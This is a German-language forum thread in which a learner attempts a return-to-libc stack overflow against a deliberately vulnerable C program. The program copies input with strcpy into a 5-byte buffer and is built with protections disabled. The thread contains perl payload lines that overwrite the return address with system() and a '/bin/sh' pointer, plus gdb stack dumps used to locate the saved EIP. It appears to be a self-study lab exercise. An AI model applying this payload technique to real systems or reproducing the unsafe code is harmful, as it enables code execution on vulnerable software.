nicht ausführbarer Stack...

hallo,
es soll einen Trick geben mit dem man den "nicht ausführbarer Stack" umgeht.
Rücksprung nach libc(returning into libc)

ASLR ist ausgeschaltet.

Der systemaufrufe:
$1 = {<text variable, no debug info>} 0xb7e57280 <system>

Dann kopiere ich etwas in die Umgebungsvariable:
export BINSH=" /bin/sh"

0xbfffff28 <--- Hier ist die umgebungsvariable





Mein Opfer:
PHP:
int main(int argc, char *argv[]) { 
char buffer[5]; 
strcpy(buffer, argv[1]); 
return 0; 
}



gcc -g -fno-stack-protector -z execstack -o vuln vuln.c


./vuln $(perl -e 'print "ABCD"x7' . "\x80\x72\xe5\xb7FAKE\x28\xff\xff\xbf"')

-----------
Laut Buch 2008 sollte das so funktionieren. Das Problem treibt mich in den Wahnsinn :)

Problem: Es geht nicht mit Ubuntu 13,4. Meine Idee: Das Sicherheitsloch ist gestopft, verschoben? Aber ich habe doch no-stack-protector

Danke für jeden Tip.
 
Zuletzt bearbeitet:
thx, aber erstmal bin ich zu blöd für den overflow.
Wo ist meine Retrunadresse im esp ?

PHP:
(gdb) list 
1    int main(int argc, char *argv[]) { 
2       char buffer[5]; 
3       strcpy(buffer, argv[1]); 
4       return 0; 
5    } 
(gdb) break 5
Haltepunkt 1 at 0x8048442: file vuln.c, line 5.
(gdb) run AAAAA
Starting program: /home/tomycat/Dokumente/hack/vuln AAAAA

Breakpoint 1, main (argc=2, argv=0xbffff794) at vuln.c:5
5    } 
(gdb) x/xw esp
No symbol "esp" in current context.
(gdb) x/xw $esp
0xbffff6d0:    0xbffff6eb
(gdb) x/40xw $esp
0xbffff6d0:    0xbffff6eb    0xbffff8de    0xbffff7a0    0xb7e47a85
0xbffff6e0:    0xb7fed600    0x00000000    0x4104845b    0x41414141
0xbffff6f0:    0x08048400    0x00000000    0x00000000    0xb7e2d935
0xbffff700:    0x00000002    0xbffff794    0xbffff7a0    0xb7fff000
0xbffff710:    0x00000084    0x00000000    0xb7fdc858    0x00000003
0xbffff720:    0xbffff790    0xb7fc3000    0x00000000    0x00000000
0xbffff730:    0x00000000    0x163a3bd2    0x2c65dfc2    0x00000000
0xbffff740:    0x00000000    0x00000000    0x00000002    0x08048320
0xbffff750:    0x00000000    0xb7ff2990    0xb7e2d849    0xb7fff000
0xbffff760:    0x00000002    0x08048320    0x00000000    0x08048341
(gdb) 
0xbffff770:    0x0804841c    0x00000002    0xbffff794    0x08048450
0xbffff780:    0x080484c0    0xb7fed600    0xbffff78c    0xb7fff938
0xbffff790:    0x00000002    0xbffff8bc    0xbffff8de    0x00000000
0xbffff7a0:    0xbffff8e4    0xbffff8ef    0xbffff8ff    0xbffff950
0xbffff7b0:    0xbffff95a    0xbffffe7b    0xbffffe87    0xbffffec9
0xbffff7c0:    0xbffffedd    0xbffffeec    0xbfffff0d    0xbfffff1e
0xbffff7d0:    0xbfffff27    0xbfffff32    0xbfffff3a    0xbfffff47
0xbffff7e0:    0xbfffff67    0xbfffff74    0xbfffff93    0xbfffffb5
0xbffff7f0:    0x00000000    0x00000020    0xb7fdd414    0x00000021
0xbffff800:    0xb7fdd000    0x00000010    0xbfebfbff    0x00000006
(gdb) 
0xbffff810:    0x00001000    0x00000011    0x00000064    0x00000003
0xbffff820:    0x08048034    0x00000004    0x00000020    0x00000005
0xbffff830:    0x00000009    0x00000007    0xb7fde000    0x00000008
0xbffff840:    0x00000000    0x00000009    0x08048320    0x0000000b
0xbffff850:    0x00000000    0x0000000c    0x00000000    0x0000000d
0xbffff860:    0x00000000    0x0000000e    0x00000000    0x00000017
0xbffff870:    0x00000000    0x00000019    0xbffff89b    0x0000001f
0xbffff880:    0xbfffffda    0x0000000f    0xbffff8ab    0x00000000
0xbffff890:    0x00000000    0x00000000    0xf7000000    0x1df979c4
0xbffff8a0:    0xf156f4ea    0xe829d333    0x69ccc685    0x00363836
(gdb) 
0xbffff8b0:    0x00000000    0x00000000    0x00000000    0x6d6f682f
0xbffff8c0:    0x6f742f65    0x6163796d    0x6f442f74    0x656d756b
0xbffff8d0:    0x2f65746e    0x6b636168    0x6c75762f    0x4141006e
0xbffff8e0:    0x00414141    0x4d524554    0x6574783d    0x53006d72
0xbffff8f0:    0x4c4c4548    0x69622f3d    0x61622f6e    0x58006873
0xbffff900:    0x535f4744    0x49535345    0x435f4e4f    0x494b4f4f
0xbffff910:    0x31323d45    0x36363539    0x32646231    0x33373030
0xbffff920:    0x66613566    0x61393737    0x32353130    0x32613830
0xbffff930:    0x312d3730    0x33303833    0x38353239    0x35392e32
0xbffff940:    0x36353438    0x3636312d    0x39373437    0x00323232
(gdb) disass main
Dump of assembler code for function main:
   0x0804841c <+0>:    push   %ebp
   0x0804841d <+1>:    mov    %esp,%ebp
   0x0804841f <+3>:    and    $0xfffffff0,%esp
   0x08048422 <+6>:    sub    $0x20,%esp
   0x08048425 <+9>:    mov    0xc(%ebp),%eax
   0x08048428 <+12>:    add    $0x4,%eax
   0x0804842b <+15>:    mov    (%eax),%eax
   0x0804842d <+17>:    mov    %eax,0x4(%esp)
   0x08048431 <+21>:    lea    0x1b(%esp),%eax
   0x08048435 <+25>:    mov    %eax,(%esp)
   0x08048438 <+28>:    call   0x80482f0 <strcpy@plt>
   0x0804843d <+33>:    mov    $0x0,%eax
=> 0x08048442 <+38>:    leave  
   0x08048443 <+39>:    ret    
End of assembler dump.
(gdb) 
(gdb) info frame
Stack level 0, frame at 0xbffff700:
 eip = 0x8048442 in main (vuln.c:5); saved eip 0xb7e2d935
 source language c.
 Arglist at 0xbffff6f8, args: argc=2, argv=0xbffff794
 Locals at 0xbffff6f8, Previous frame's sp is 0xbffff700
 Saved registers:
  ebp at 0xbffff6f8, eip at 0xbffff6fc

saved eip 0xb7e2d935 <---- das ist meine Retrunadresse, nee oder ?
 
ok ich ein dummy Byte dann gehts. Aber die Returnadresse ist mir noch ein Rätzel.

Problem 2:
ohne Stackprotect:
PHP:
./vuln $(perl -e 'print "A"x17 . "\x80\x52\xe5\xb7FAKE\x28\xff\xff\xbf"')
*** stack smashing detected ***: ./vuln terminated
Abgebrochen (Speicherabzug geschrieben)
 
Und nein, das "Sicherheitsloch" wurde nicht gestopft, das Sicherheitsloch ist die Verwendung von strcpy + "zu kleinen" Buffer.

ähhh nein, das meinte ich nicht :)

Ich springe von meinem Stack zu system, dabei führe ich auf dem Stack nichts aus. Leider klappt das nicht, wenn ich in gcc den stackprotect weglasse. Hat sich da etwas geändert über die Jahre?

Der systemaufrufe:
$1 = {<text variable, no debug info>} 0xb7e57280 <system>
 
Zurück
Oben